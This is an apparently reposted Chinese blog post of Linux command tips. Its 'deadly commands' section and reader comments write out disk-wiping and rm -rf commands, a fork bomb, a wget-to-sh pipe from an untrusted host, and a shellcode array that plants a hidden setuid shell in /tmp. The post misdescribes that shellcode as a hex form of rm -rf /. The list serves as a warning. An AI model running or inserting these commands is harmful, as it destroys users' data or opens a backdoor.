Linux 命令积累-2(从别人那里偷来的,自己留着看)7 个致命的 Linux 命令 从未用过的 10 条 Linux 命令 实用的一行 Linux 命令

实用的一行 Linux 命令

  1. 创建存档文件 tar -czpf folder_name.tar.gz folder_name 该命令将 folder_name 创建为 folder_name.tar.gz 存档文件。
  2. 递归查找文件内的字符串 find ./ -name ‘*.html’ -exec grep “breadcrumbs.inc.php” ‘{}’ \; -print 这条命令将查找所有包含 breadcrumbs.inc.php 的 HTML 文件。
  3. 搜索并替换文件里的内容 sed -i ’s/b/strong/g’ index.html 此命令搜索 index.html 文件中的 b 并将其替换为 strong, 或者 sed -e ‘s/b/strong/g‘ index.html。
  4. 查看目录的磁盘占用情况 du -h --max-depth=1 | sort -n -r  或者  du -hs 或者 du -h --max-depth=1 | sort -h -r 把sort的-n 换成-h 更好一点,按大小排序。
  5. grep -ri "test string" *.html递归查找文件内的字符 这样更简单。  

你从未用过的 10 条 Linux 命令

  1. pgrep:比如,你可以使用 pgrep -u root 来代替 ps -ef | egrep ‘^root ‘ | awk ‘{print $2}‘,以便抓取属于 root 的 PID。
  2. pstree:我觉得这个命令很酷,它可以直接列出进程树,或者换句话说是按照树状结构来列出进程。
  3. bc:这个命令在我的系统中没有找到,可能需要安装。这是用来执行计算的一个命令,如使用它来开平方根。
  4. split:这是一个很有用的命令,它可以将一个大文件分割成几个小的部分。比如:split -b 2m largefile LF_ 会将 largefile 分割成带有 LF 文件名前缀且大小为 2 MB 的小文件。
  5. nl:能够显示行号的命令。在阅读脚本或代码时,这个命令应该非常有用。如:nl wireless.h | head
  6. mkfifo:作者说这是他最喜欢的命令。该命令使得其他命令能够通过一个命名的管道进行通信。嗯,听起来有点空洞。举例说明,先创建一个管道并写入内容: mkfifo ive-been-piped ls -al split/* | head > ive-been-piped

    然后就可以读取了:head ive-been-piped

  7. ldd:其作用是输出指定文件依赖的动态链接库。比如,通过 ldd /usr/java/jre1.5.0_11/bin/java 可以了解哪些线程库链接到了 java 依赖(动态链接)了哪些库。(感谢 NetSnail 的指正。)
  8. col:可以将 man 手册页保存为无格式的文本文件。如: PAGER=cat man less | col -b > less.txt
  9. xmlwf:能够检测 XML 文档是否良好。比如: curl -s ‘http://bashcurescancer.com‘ > bcc.html xmlwf bcc.html perl -i -pe ‘s@<br/>@<br>@g‘ bcc.html xmlwf bcc.html bcc.html:104:2: mismatched tag
  10. lsof:列出打开的文件。如:通过 lsof | grep TCP 可以找到打开的端口。

有用的评论:cat -n 也能显示行号,不过输出跟nl有些差别

 

7 个致命的 Linux 命令

  1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
  3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
  4. :(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
  5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
  6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
  7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

有用的评论:

:(){ :|:& };:

注意空格,不然照原样会报错。其实是定义了一个函数并调用:

:() { # 制造一个管道递归调用函数“:”本身,放到后台 : | : & }

:

××××××××××××××××××××××××××××××××××××××××

想想这类一刀毙命的命令还真是挺多的,比如:

dd if=/dev/zero of=/dev/sda bs=120G count=1

cat /dev/null > /dev/sda

chown -R someone /

chmod 7777 -R / (不死也搞你个浑身抢眼)

××××××××××××××××××××××××××××××××××××××××

mkfs.ext3 /dev/sda 并不是什么致命的linux命令,仅仅只是覆盖了superblock,数据并没有丢失。 可以通过parted的rescue指令来恢复原来的分区信息,数据自然就回来了。

××××××××××××××××××××××××××××××××××××××××

曾经 find / -name XXX | xargs rm -rf 使得我的系统崩溃过

××××××××××××××××××××××××××××××××××××××××

dd if=/dev/zero of=/dev/sda

××××××××××××××××××××××××××××××××××××××××

其实第二个根据反汇编的结果是"rm -rf ~ / &"

××××××××××××××××××××××××××××××××××××××××

当年我忘了先挂载就直接cp xxx.txt /dev/sda5,D盘的分区给搞没了。

××××××××××××××××××××××××××××××××××××××××

Linux 命令积累-2(从别人那里偷来的,自己留着看)7 个致命的 Linux 命令 从未用过的 10 条 Linux 命令 实用的一行 Linux 命令,古老的榕树,5-wow.com

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。